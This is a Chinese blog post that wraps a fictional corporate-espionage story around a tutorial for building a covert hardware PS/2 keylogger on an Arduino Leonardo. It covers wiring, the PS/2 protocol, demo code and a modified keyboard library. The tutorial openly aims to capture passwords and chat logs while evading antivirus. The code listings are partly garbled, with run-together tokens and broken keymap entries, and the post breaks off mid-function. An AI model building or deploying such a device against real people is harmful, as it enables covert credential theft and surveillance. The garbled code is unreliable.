间谍游戏:用Arduino制作硬件键盘记录器


发布人:admin分类:网络安全浏览量:25发布时间:2017-12-12

免责声明:本文纯属虚构,本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

星期天的早晨,在睡梦中意淫了一晚上杨尼美的刘尼玛被一阵突如其来的电话铃声所惊醒,不得不骂骂咧咧的爬起来接电话,结果一看号码居然是主管打来的,刘尼玛的瞌睡顿时全醒了,主管在电话中把他劈头盖脸的一顿臭骂。

起因是两天前主管安排刘尼玛去生意伙伴那里取一些资料,并向老总申请了公司的移动硬盘,结果老总今天使用硬盘的时候,杀毒软件报警,从里面查出来200多个木马,气急败坏的老总用谁也听不懂的家乡土话骂了主管的七舅老爷和八姨夫等等各种八竿子打不着的亲戚,憋了一肚子火憋得蛋疼的主管在挨完骂之后立马把电话打给了罪魁祸首刘尼玛,于是刘尼玛的各种八竿子打不着的亲戚外加十八代祖宗也被牵连了…

放下电话的刘尼玛冷汗直流,浑身哆嗦了好久,好不容易稍微平静之后,他手抖着点上了一支烟,却突然发觉内裤湿了,不知是刚才吓尿了还是昨晚梦见和杨尼美用各种姿势翻云覆雨的时候弄湿的。

他恐惧的原因不是因为工作中犯了错误被K了,而是这些木马病毒本身就是身为商业间谍的他故意种进去的,只是因为公司安装了强大的企业版杀毒软件,已经做过免杀的木马还是被查了出来。

“还好没有被发觉,他们都认为我是不小心中的毒”,刘尼玛擦了一把冷汗,一边自言自语一边用密码给总部发了一条信息.

0×01 永远跟不上的大牛脚步

我是总部的Q博士,因为刘尼玛的木马程序被全部查杀,所以他需要一个永远不可能被杀毒软件查到的木马,这个任务自然又落到了我的身上。

刘尼玛碰到的难题并不让我感到意外,杀毒技术的进步使得木马的寿命越来越短了,但是有一群大牛在一直引领着技术革新的潮流,他们总有办法躲过杀毒软件的追杀.

当还是小菜的我好不容易用vb写出第一个木马,加载到注册表开机启动时,大牛嗤之以鼻,他说现在我们都玩进程注入了,这个早过时了;
当我好不容易鼓捣成功dll木马,准备庆贺的时候,大牛又给我泼了一盆冷水,他说现在是bootkit和rootkit的时代,传统的木马已经进历史的垃圾堆了;

当我狂啃下了一堆内核书籍,终于知道rootkit是怎么回事的时候,大牛用嘲笑加可怜的眼神看着我说,你又晚了一步,我们都玩硬件了…

好吧,晚了就晚了,再晚也得跟着走,否则会更落后,现在我们开始探究硬件木马的原理:

硬件木马目前已经发展出了很多种,有截取显卡输出的视频信号并发射的,有植入摄像头悄悄记录的,最常见的是键盘记录器,将键盘偷偷接入键盘记录器,再将记录器插在主机上,就能记录从键盘上输入的数据,比如账号密码,聊天记录等等,而任何杀毒软件都不会检测到。

我们先从键盘的插口开始,我这里没有usb的键盘,所以只研究了ps2口,但usb口的与之类似. ps2口一共有6个针脚: clock时钟、GND接地、DATA数据和5V的供电,剩余的两个是没有使用的保留口,排列顺序如下图所示:

在计算机主机上的ps2是母口的,因此排列顺序与上图正好相反. 这6根线中只有Data和Clock用于数据传输,这样看来键盘记录器的原理其实并不复杂,我们需要一块微控制器和一个存储器,微控制器从键盘的data针脚读取输入数据,存入存储器之后,再通过主机ps2插口上的data输出,如下图所示:

实际上对主机的输出并不一定仍然用ps2口,usb或者串口都可以.
看完上图,也许有人会说这实现起来很难,可能需要用到电路板、电阻、电容等一系列元件和丰富的无线电知识,在很久以前这或许是事实,但现在我们有一个新玩意儿,可以让你在连焊接都不用的情况下就实现上面的设计,它就是arduino.

0×02 什么是Arduino

Arduino实际上就是一种开发板,将微控制器和必需的元件集成在一块电路板上,扩展出完善的接口和针脚,就可以接上各种各样的传感器,完成你心中的设计,你也可以把它理解成一种电子积木,因为它不需要焊接,也不需要高深的无线电知识,只需要编程基础和基本的电路知识即可。

Arduino 不需要知道各种硬件的底层知识,这些底层的调用都已经提前帮你实现好了,而且它使用的是c语言而不是汇编,配有一个官方的IDE和各种硬件的调用库,你只需要按照你自己的设计插接好各种硬件,就可以开始编写程序了,编写完之后烧写入微控制器(在arduino中这称为下载),它们会自动开始运行。


       

Arduino本身是一种开源硬件,电路图是公开的,现在官方的和扩展出的各种arduino板子加起来已经有上百种,但其中最基本的仍然是UNO和它的升级版Leonardo,上图就是UNO和Leonardo,我们的设计是基于Leonardo的.
Aduino的官方网站:http://www.arduino.cc,要进行下面的内容,请在此下载arduino的官方IDE并安装,在IDE安装目录的drivers子目录中,有烧写arduino所需要的usb转串口驱动,必须要先安装驱动才能开始编程.
(有关arduino的其他具体细节请自行google,这里只做基本介绍)

0×03 连接硬件

Arduino 的右边有一排针脚,从0到13,除了0和1被RX和TX占用之外,其余的都可以用来扩展各种硬件,我们先把PS2的键盘和arduino连起来:

首先准备四根杜邦线,为了避免混淆,我采用和前面原理图中一样的颜色,把红线从键盘PS2口的5V针脚接入板子上左侧的5V针脚,把两端的GND用黑线连接起来,黄线从Clock针脚接入板子上的3号针脚,棕黄色线从DATA针脚接入板子上的5号针脚(3号和5号并不是确定的,在后面我们编写的程序中定义几号针脚,这里就接几号):

然后将arduino的miniUSB输出连接到电脑上的USB口,在电脑上安装USB转串口驱动,打开arduino IDE,在设置中设定好串口号,开始编写程序。

0×04 键盘输入的原理

在编写程序之前,先要了解键盘和计算机之间是如何传输数据的。通过前面的内容,我们已经知道键盘与计算机之间其实是通过四根线连接的,除去电源和接地,起作用的实际上是时钟和数据,它们同时向计算机发送电信号. 而要将数据发送给计算机,键盘会同时检查这两根线路,只有确认它们都处于高位时,键盘才会发送数据,只要其中有一根处于低位,键盘就会认为其他设备正在发送数据,从而继续等待。

从键盘所发出的数据是一个11位的结构,如下图所示:

起始位的值一直固定为0,后面有8个数据位,这就是每按下一个键所发送的数据了,在每当时钟脉冲下降时就会从最小显著位开始发送,直到最高显著位为止,按下不同的键,各个时钟脉冲下降的规律也会不同,时钟脉冲的校验值每当脉冲到达一次低位就与1进行一次左移运算,同时每当数据脉冲与时钟脉冲同时到达高位时,二者的校验值就进行一次按位或运算,最后循环运算的结果就是所发送给计算机的按键值。

在数据位后面跟着的是一个奇偶校验位和一个停止位,停止位的值总是1,这两个值其实是可以忽略的。
这里用一段示例的demo程序来说明

1.  /*
2.  * ps2.h
3.  */
4.   
5.  #include"Arduino.h"
6.   
7.  class PS2
8.  {
9.        public:
10.              PS2(intclk, int data);
11.             unsigned char read(void);
12.      private:
13.              int_ps2clk;
14.              int_ps2data;
15.};
16. 
17./*
18.* ps2.cpp
19.*/
20.#include"ps2.h"
21. 
22.PS2::PS2(int clk, intdata) //初始化,设置时钟和数据位的针脚
23.{
24.      _ps2clk = clk;
25.      _ps2data = data;
26.}
27. 
28.unsigned charPS2::read(void)
29.{
30.      unsigned char data = 0×00;
31.      unsigned char i;
32.      unsigned char bit = 0×01;
33. 
34.      pinMode(_ps2clk, INPUT);
35.      digitalWrite(_ps2clk, HIGH); 
36.      pinMode(_ps2data, INPUT);
37.      digitalWrite(_ps2data, HIGH); //以上把时钟和数据均设置为高位,开始接受输入
38.      delayMicroseconds(50);
39.      while (digitalRead(_ps2clk) ==HIGH)
40.      ;
41.      delayMicroseconds(5);
42.      while (digitalRead(_ps2clk) ==LOW) //起始位的部分什么也不做,直接跳过
43.      ;
44.      for (i=0; i < 8; i++) //循环读取数据位
45.      {
46.              while(digitalRead(_ps2clk) ==HIGH)
47.                    ;
48.              if(digitalRead(_ps2data)==HIGH)  //当时钟和数据线路均为高位时开始计算
49.              {
50.                    data =data | bit; //两个值进行一次按位或运算
51.              }
52.              while(digitalRead(_ps2clk) == LOW)
53.                    ;
54.              bit =bit << 1;  //时钟脉冲每到达一次低位就与1进行一次左移运算
55.      }
56.      while (digitalRead(_ps2clk) ==HIGH)
57.      ;
58.      while (digitalRead(_ps2clk) ==LOW) //跳过校验位
59.      ;
60.      while (digitalRead(_ps2clk) ==HIGH)
61.      ;
62.      while (digitalRead(_ps2clk) ==LOW) //跳过停止位
63.      ;
64.      pinMode(_ps2clk, OUTPUT);
65.      digitalWrite(_ps2clk, LOW); //全部读取完毕,将时钟设为低位
66.      return data;
67.}

在arduino IDE所在路径的libraries子目录下新建一个ps2文件夹,把以上两个源文件拷贝进去,然后打开IDE,它们就能以开发库的形式被调用。
在IDE中新建一个程序文件

1. #include<ps2.h>
2.  
3. PS2 kbd(3, 5); //设置针脚为我们前面插入板子的3号和5号
4.  
5. void setup()
6. {
7.   Serial.begin(9600);
8.   kbd.read();
9.   kbd.read();//进行两次测试
10.}
11.void loop()
12.{
13.  unsignedcharcode;  
14.  for(;;) { 
15.    code =kbd.read();
16.   Serial.println(code);//读取键盘输入并输出到串口显示
17.  }
18.}

将以上代码编译并下载到arduino,然后打开一个串口调试器,按下键盘上的任一个键(功能键除外),串口中都会有输出。

0×05 完整的实现

我们已经知道,键盘记录器通过三个步骤记录按键:截取输入-存入存储器-发送到计算机,我们已经知道了截取输入的原理,但其具体的实现要比上面这个demo程序复杂的多,所幸的是,我们有现成的开发库可以利用:点我点我!!

这是arduino官方所推荐的第三方ps2键盘库,实现了基本的数字、字母和各种符号的输入,截获的按键代码直接转换成每个键的ascii值,但缺点是支持的功能键很少,有些键按照其中的规则定义,会互相产生冲突,比如F1-F12键,就与从p到z的一组字母冲突,因为在键盘ascii码标准中它们的值是一样的,使用时需要增加额外的规则来判定,为此,我对这个库做了修改,实现了ctrl和字母的组合,alt和字母的组合,不冲突的F1-F12功能键,大小写切换以及原来库里面已经实现的翻页和上下等特殊键,由于该开发库基于GPL协议开源,那我修改后的版本也使用同样的协议开放源代码,代码如下,如果你懒得看代码,在本文的最后有下载地址,下载后直接放在libraries子目录里即可。

/*
  *  PS2Keyboard.h
  *  Arduino PS2键盘支持库
  *  修改自http://www.pjrc.com/teensy/arduino_libraries/PS2Keyboard.zip
* 修改者:b41k3r
* 基于GPLv2开源
*/
#ifndef PS2Keyboard_h
#define PS2Keyboard_h
 
#include <avr/io.h>
#include<avr/interrupt.h>
#include<avr/pgmspace.h>
#if defined(ARDUINO)&& ARDUINO >= 100
#include"Arduino.h"
#else
#include"WProgram.h"
#endif
#definePS2_TAB                               9 //这些定义完全按照这些键对应的ascii值
#definePS2_ENTER                             13
#definePS2_BACKSPACE                       8
#definePS2_CAPS_LOCK              20
#definePS2_SHIFT                  16
#definePS2_LINEFEED                       10
#definePS2_ESC                               27
#definePS2_INSERT                             45
#definePS2_DELETE                             127
#definePS2_HOME                             36
#definePS2_END                             35
#definePS2_PAGEUP                             33
#definePS2_PAGEDOWN                       34
#definePS2_UPARROW                             38
#definePS2_LEFTARROW                       37
#definePS2_DOWNARROW                       40
#definePS2_RIGHTARROW                       39
#definePS2_F1                               -12 //为了避免冲突,将F1-F12的值重新定义为了负值
#definePS2_F2                               -13
#definePS2_F3                               -14
#definePS2_F4                               -15
#definePS2_F5                               -16
#definePS2_F6                               -17
#definePS2_F7                               -18
#definePS2_F8                               -19
#definePS2_F9                               -20
#definePS2_F10                               -21
#definePS2_F11                               -22
#definePS2_F12                               -23
#definePS2_SCROLL                         0
/*
*  这段本来定义的是各种语言的键盘中的特殊字符,基本上没有用,在这里为了不占篇幅去掉,详细源
*  代码请看文后的下载地址
*/
#define PS2_KEYMAP_SIZE136
typedef struct {
       uint8_tnoshift[PS2_KEYMAP_SIZE];
       uint8_tshift[PS2_KEYMAP_SIZE];
       uint8_tuses_altgr;
       uint8_taltgr[PS2_KEYMAP_SIZE];
} PS2Keymap_t;
extern const PROGMEMPS2Keymap_t PS2Keymap_US;
extern const PROGMEMPS2Keymap_t PS2Keymap_German;
class PS2Keyboard {
  public:
   PS2Keyboard();
    staticvoidbegin(uint8_t dataPin, uint8_t irq_pin,const PS2Keymap_t &map=PS2Keymap_US);
    staticboolavailable();
    staticintread();
    intreadIt();
   intgetCombinationKey();
};
#if!defined(CORE_INT0_PIN)
#ifdefined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__)// ArduinoMega
#defineCORE_INT0_PIN 2
#defineCORE_INT1_PIN 3
#defineCORE_INT2_PIN 21
#defineCORE_INT3_PIN 20
#defineCORE_INT4_PIN 19
#defineCORE_INT5_PIN 18
#elifdefined(__AVR_ATmega644P__) ||defined(__AVR_ATmega644__) // Sanguino
#defineCORE_INT0_PIN 10
#defineCORE_INT1_PIN 11
#defineCORE_INT2_PIN 2
#elifdefined(__AVR_ATmega32U4__) // Leonardo
#define CORE_INT0_PIN 3
#define CORE_INT1_PIN 2
#define CORE_INT2_PIN 0
#define CORE_INT3_PIN 1
#else  //ArduinoDuemilanove, Diecimila, LilyPad, Mini, Fio, etc…
#defineCORE_INT0_PIN 2
#defineCORE_INT1_PIN 3
#endif
#endif
#endif
 
/*
*  PS2Keyboard.cpp
*  Arduino PS2键盘支持库
*  修改自http://www.pjrc.com/teensy/arduino_libraries/PS2Keyboard.zip
*  修改者:b41k3r
*  基于GPLv2开源
*/
 
#include"PS2Keyboard.h"
 
#define BUFFER_SIZE 45
static volatile uint8_tbuffer[BUFFER_SIZE];
static volatile uint8_thead, tail;
static uint8_t DataPin;
static uint8_tCharBuffer=0;
static uint8_tUTF8next=0;
static const PS2Keymap_t*keymap=NULL;
intCombinationKey=0; //增加了一个参数,用来判定按下的是否是功能键和组合键
 
voidps2interrupt(void) //读取键盘输入的函数,基本原理同前面的demo程序
{
       staticuint8_t bitcount=0;
       staticuint8_t incoming=0;
       staticuint32_t prev_ms=0;
       uint32_tnow_ms;
       uint8_t n,val;
       val =digitalRead(DataPin);
       now_ms =millis();
       if (now_ms- prev_ms > 250) {
               bitcount=0;
               incoming=0;
       }
       prev_ms =now_ms;
       n =bitcount – 1;
       if (n <=7) {
               incoming|=(val << n);
       }
       bitcount++;
       if(bitcount == 11) {
               uint8_ti= head + 1;
               if(i>= BUFFER_SIZE) i = 0;
               if(i!= tail) {
                       buffer[i]=incoming;
                       head= i;
               }
               bitcount=0;
               incoming=0;
       }
}
 
static inline uint8_tget_scan_code(void)
{
       uint8_t c,i;
       i = tail;
       if (i ==head) return 0;
       i++;
       if (i >=BUFFER_SIZE) i = 0;
       c =buffer[i];
       tail = i;
       return c;
}
 
const PROGMEM PS2Keymap_tPS2Keymap_US = {  //预先定义好键盘上所有的常用键所对应的值
  // without shift
       {0, PS2_F9,0, PS2_F5, PS2_F3,PS2_F1, PS2_F2, PS2_F12,
       0, PS2_F10,PS2_F8, PS2_F6,PS2_F4, PS2_TAB, '`', 0,
       0, 0/*Lalt*/, PS2_SHIFT, 0, 0/*Lctrl*/, 'q','1',0,
       0, 0, 'z','s','a', 'w', '2',0,

       0, 'c','x', 'd', 'e', '4', '3',0,

       0, ' ','v', 'f', 't', 'r', '5',0,

       0, 'n','b', 'h', 'g', 'y', '6',0,

       0, 0, 'm','j', 'u', '7', '8',0,

       0, ',','k', 'i', 'o', '0', '9',0,

       0, '.','/', 'l', ';', 'p', '-',0,

       0, 0, '\'',0, '[', '=', 0, 0,

       PS2_CAPS_LOCK,PS2_SHIFT,PS2_ENTER /*Enter*/, ']', 0, '\\', 0, 0,

       0, 0, 0, 0,0, 0, PS2_BACKSPACE,0,

       0, '1', 0,'4', '7', 0, 0, 0,

       '0', '.','2', '5', '6', '8',PS2_ESC, 0 /*NumLock*/,

       PS2_F11,'+', '3', '-', '*','9', PS2_SCROLL, 0,

       0, 0, 0,PS2_F7 },

  // with shift

       {0, PS2_F9,0, PS2_F5, PS2_F3,PS2_F1, PS2_F2, PS2_F12,

       0, PS2_F10,PS2_F8, PS2_F6,PS2_F4, PS2_TAB, '~', 0,

       0, 0/*Lalt*/, PS2_SHIFT, 0, 0/*Lctrl*/, 'Q', '!', 0,

       0, 0, 'Z','S', 'A', 'W', ,
       0, 'C','X', 'D', 'E', ', '#',0,

       0, ' ','V', 'F', 'T', 'R', '%',0,

       0, 'N','B', 'H', 'G', 'Y', '^',0,

       0, 0, 'M','J', 'U', '&','*', 0,

       0, '<','K', 'I', 'O', ')','(', 0,

       0, '>','?', 'L', ':', 'P','_', 0,

       0, 0,'"', 0, '{', '+', 0,0,

       PS2_CAPS_LOCK,PS2_SHIFT,PS2_ENTER /*Enter*/, '}', 0, '|', 0, 0,

       0, 0, 0, 0,0, 0, PS2_BACKSPACE,0,

       0, '1', 0,'4', '7', 0, 0, 0,

       '0', '.','2', '5', '6', '8',PS2_ESC, 0 /*NumLock*/,

       PS2_F11,'+', '3', '-', '*','9', PS2_SCROLL, 0,
        0, 0, 0,PS2_F7 },
       0
};
 
#defineBREAK    0×01
#defineMODIFIER 0×02
#defineSHIFT_L  0×04
#defineSHIFT_R  0×08
#defineALTGR    0×10
#defineCTRL     0×20
 
static charget_iso8859_code(void)
{
       staticuint8_t state=0;
       uint8_t s;
       char c;
       while (1) {
               s=get_scan_code();
               if(!s)return 0;
               if(s== 0xF0) {
                       state|=BREAK;
               }elseif (s == 0xE0) {
                       state|=MODIFIER;
               }else{
                       if(state& BREAK) {
                               if(s == 0×12){
                                       state&=~SHIFT_L;
                               }else if (s ==0×59) {
                                       state&=~SHIFT_R;
                               }else if (s ==0×14) {
                                       state&=~CTRL;
                               }else if (s ==0×11) {
                                       state&=~ALTGR;
                               }
                               state&=~(BREAK | MODIFIER);
                               continue;
                       }
                       if(s== 0×12) {
                               state|=SHIFT_L;
                       CombinationKey=3;
                               continue;
                       }elseif (s == 0×59) {
                               state|=SHIFT_R;
                               continue;
                       }elseif (s == 0×14) {
                               state|=CTRL;
                               continue;
                       }elseif (s == 0×11) {
                               state|= ALTGR;
                       }
                       c=0;
                       if(state& MODIFIER) {
                               switch(s) {
                                 case0×70: c= PS2_INSERT;      break;
                                 case0x6C: c= PS2_HOME;        break;
                                 case0x7D: c= PS2_PAGEUP;      break;
                                 case0×71: c= PS2_DELETE;      break;
                                 case0×69: c= PS2_END;         break;
                                 case0x7A: c= PS2_PAGEDOWN;    break;
                                 case0x75:c =PS2_UPARROW;     break;
                                 case0x6B: c= PS2_LEFTARROW;   break;
                                 case0×72: c= PS2_DOWNARROW;   break;
                                 case0×74: c= PS2_RIGHTARROW;  break;
                                 case0x4A: c= &#039;/&#039;;            break;
                                 case0x5A: c= PS2_ENTER;       break;
                                 default:break;
                               }
                       }elseif (state & (SHIFT_L | SHIFT_R)) {
                               if(s <PS2_KEYMAP_SIZE)
                                       c=pgm_read_byte(keymap->shift + s);
                       }else{
                               if(s< PS2_KEYMAP_SIZE)
                                       c=pgm_read_byte(keymap->noshift + s);
                       }
                       if(state& CTRL) { //ctrl加字母组合键
               CombinationKey=1;
                               if(c>= 'A' && c <='Z')
                             c=0-c;
                               elseif (c>= 'a' && c <= 'z')
                             c=0-c;
                               elseif (c ==PS2_ENTER)
                                       c=PS2_LINEFEED;
                       }
                       if(state& ALTGR) { //alt加字母组合键
               CombinationKey=2;
                               if(c >= 'A'&& c <= 'Z')
                             c=0-c;
                               elseif (c>= 'a' && c <= 'z')
                             c=0-c;
                               elseif (c ==PS2_ENTER)
                                       c=PS2_LINEFEED;
                       }
                       state&=~(BREAK | MODIFIER);
                       if(c)return c;
               }
       }
}
 
intPS2Keyboard::getCombinationKey() {
     returnCombinationKey;
}
 
boolPS2Keyboard::available() {
       if(CharBuffer || UTF8next)return true;
       CharBuffer= get_iso8859_code();
       if(CharBuffer) return true;
       return false;
}
 
int PS2Keyboard::readIt(){
      returnread();
}
 
int PS2Keyboard::read() {
       uint8_tresult;
       result =UTF8next;
       if (result){
               UTF8next=0;
       } else {
               result=CharBuffer;
               if(result){
                       CharBuffer=0;
               }else{
                       result=get_iso8859_code();
               }
               if(result>= 128) {
                 if(result>= 233 && result <= 244) //F1-F12的输入判定
                   {
                       CombinationKey=result;
                   }else
                   {
                                   UTF8next=(result & 0x3F) | 0×80;
                                   result=((result >> 6) & 0x1F) | 0xC0;
                   }
               }
       }
     &nb

被黑站点统计 - 文章版权1、本主题所有言论和图片纯属会员个人意见,与本文章立场无关
2、本站所有主题由该文章作者发表,该文章作者与被黑站点统计享有文章相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该文章作者和被黑站点统计的同意
4、文章作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
7、被黑站点统计管理员有权不事先通知发贴者而删除本文

免责声明

本站主要通过网络搜集国内被黑网站信息,统计分析数据,为部署安全型网络提供强有力的依据.本站所有工作人员均不参与黑站,挂马或赢利性行为,所有数据均为网民提供,提交者不一定是黑站人,所有提交采取不记名,先提交先审核的方式,如有任何疑问请及时与我们联系.

admin  的文章


微信公众号

微信公众号


Copyright © 2012-2022被黑网站统计系统All Rights Reserved
页面总访问量:21242041(PV) 页面执行时间:70.214(MS)
  • xml
  • 网站地图